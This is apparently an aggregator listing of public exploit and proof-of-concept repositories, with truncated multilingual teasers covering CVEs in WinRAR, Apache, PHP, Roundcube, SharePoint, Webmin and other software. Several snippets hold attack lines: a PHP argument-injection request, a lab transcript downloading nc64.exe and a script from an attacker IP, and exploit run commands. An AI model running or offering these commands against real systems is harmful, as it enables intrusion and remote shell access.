CVE-2021-40870

CVE-2021-40870 Caricamento senza restrizioni di file con tipo pericoloso in Aviatrix consente a un utente autenticato di eseguire codice arbitrario...

WordPress-HT-Contact-CVE-2025-7340-RCE

WordPress HT Contact Form Widget | CVE-2025-7340 Analyse der Datei-Upload-Schwachstelle Schwachstellenort Schwachstellenort: ht-contactform/admin/Includes/Services/FileManager.php Kritische Funktion: tempfileupload 1. Hauptschwachstelle: Funktion tempfileupload root@kitploit: 63行 public function...

CVE-2024-34102

Cosmic Sting: CVE-2024-34102 Exploiter Cosmic Sting è uno strumento basato su Go progettato per sfruttare CVE-2024-34102, una vulnerabilità di esecuzione di codice in remoto Remote Code Execution. Dettagli CVE-2024-34102 Le versioni di Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e preceden...

CVE-2024-4577

File di configurazione dell'ambiente per CVE-2024-4577 e file PHP --poc-- Invoke-WebRequest -Method POST -Headers @"Content-Type" = "application/x-www-form-urlencoded" -Body "" -Uri "http://localhost/test.php?%ADd+allowurlinclude%3D1+%ADd+autoprepend file%3Dphp://input"...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...

CVE-2025-8088

CVE-2025-8088 – WinRAR Exploit इस रिपॉजिटरी में एक दुर्भावनापूर्ण RAR फ़ाइल जनरेटर है जो WinRAR में CVE-2025-8088 कमजोरी का दुरुपयोग करता है, जिससे एक प्रतीत होने वाली वैध फ़ाइल पीड़ित द्वारा निकाले जाने पर एक payload निष्पादित कर सकती है। अनुशंसित कमांड root@kitploit: python3 exploit7.12.py \ -p...

CVE-2021-42013

CVE-2021-42013 — PoC: Path Traversal + RCE via modcgi Patch-Umgehung Nur zur Verwendung in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden. Beschreibung PoC entwickelt, um CVE-2021-42013 zu demonstrieren, das in Apache HTTP Server 2.4.50 vorhanden ist. Dies...

CVE-2017-9606

CVE-2017-9606 A causa di una verifica insufficiente dell'integrità, dell'autenticità e di diritti utente bassi sulla cartella degli aggiornamenti, un utente locale può creare file di aggiornamento ViPNet falsi con codice di esecuzione arbitrario e posizionarli nella cartella degli aggiornamenti d...

CVE-2025-15556-Notepad-WinGUp-Updater-RCE

Software interessato: versioni di Notepad++ precedenti alla versione 8.8.9 che utilizzano l'aggiornatore WinGUp. Tipo di vulnerabilità: bypass della verifica dell'integrità degli aggiornamenti che porta all'esecuzione di codice arbitrario. Descrizione: l'aggiornatore WinGUp non verifica...

CVE-2017-11882

CVE-2017-11882 Das ursprüngliche Skript stammt von https://github.com/embedi/CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research:...

CVE-2024-4947-PoC

CVE-2024-4947 — V8-Maglev-Type-Confusion → Vollständige RCE d8-PoC Eine vollständige, eigenständige Exploitation-Kette für CVE-2024-4947 V8-Maglev-Type-Confusion, vom anfänglichen Type-Confusion-Trigger bis zur beliebigen Codeausführung. Die PoC läuft gegen einen nicht-sandboxed d8-Build und gibt...

CVE-2025-60655

CVE-2025-60655 - Remote-Code-Ausführung RCE durch uneingeschränkten Upload | ---|--- Forscher| DotAdrien Schweregrad| 9.8 KRITISCH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Software| Script Pag...

CVE-2025-27520-PoC

CVE-2025-27520 — Simulazione educativa sicura / PoC Demo Stand ⚠️ Importante: Questa è una simulazione educativa sicura della vulnerabilità CVE-2025-27520. Il progetto include un servizio simulato Flask e uno scanner PoC sicuro Python. La simulazione crea un file di prova in data/ quando riceve un...

CVE-2018-1335

CVE-2018-1335 Vulnerabilidade RCE remote code execution em servidores apache Tika-server com versões inferiores a 1.18 comandos: sudo bash install.sh python2 exploit.py...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Execução Remota de Código Autenticada ⚠️ Aviso Este repositório é destinado estritamente a fins educacionais e de pesquisa. Todas as demonstrações foram realizadas em um ambiente de laboratório controlado. Testes ou exploração não autorizados de sistemas sem...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Ehi, in questo lab di LetsDefend mi sono immerso in una zero-day di SharePoint chiamata ToolShell CVE-2025-53770. In pratica, ho replicato un attacco reale in cui una richiesta POST maliziosa bypassava l'autenticazione, eseguiva...

CVE-2011-2523-exploit

CVE-2011-2523 Exploit vsFTPd 2.3.4 Backdoor Dieses Projekt demonstriert die Ausnutzung der vsFTPd 2.3.4 Backdoor-Sicherheitslücke CVE-2011-2523 mit Python und pwntools. Haftungsausschluss: Dieses Projekt dient ausschließlich zu Bildungs- und autorisierten Penetrationstestzwecken. Verwenden Sie es...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script Ein kurzes und einfaches Exploit-Skript für die CVE-2012-2982 authentifizierte RCE-Schwachstelle im /file/show.cgi/bin-Endpunkt. Webmin RCE Exploit — CVE-2012-2982 Dieses Repository enthält einen Python-Proof-of-Concept-Exploit für Webmin = 1.580, der eine bekannte...

CVE-2021-46422_RCE

CVE-2021-46422 RCE Installation root@kitploit: git clone https://github.com/yigexioabai/CVE-2021-46422-RCE.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2021-46422 RCE.py放到pocsuite3\pocs目录下 cd pocs Verwendung von pocsuite3 Einzelne URL: root@kitploit: pocsuite -r CVE-2021-46422...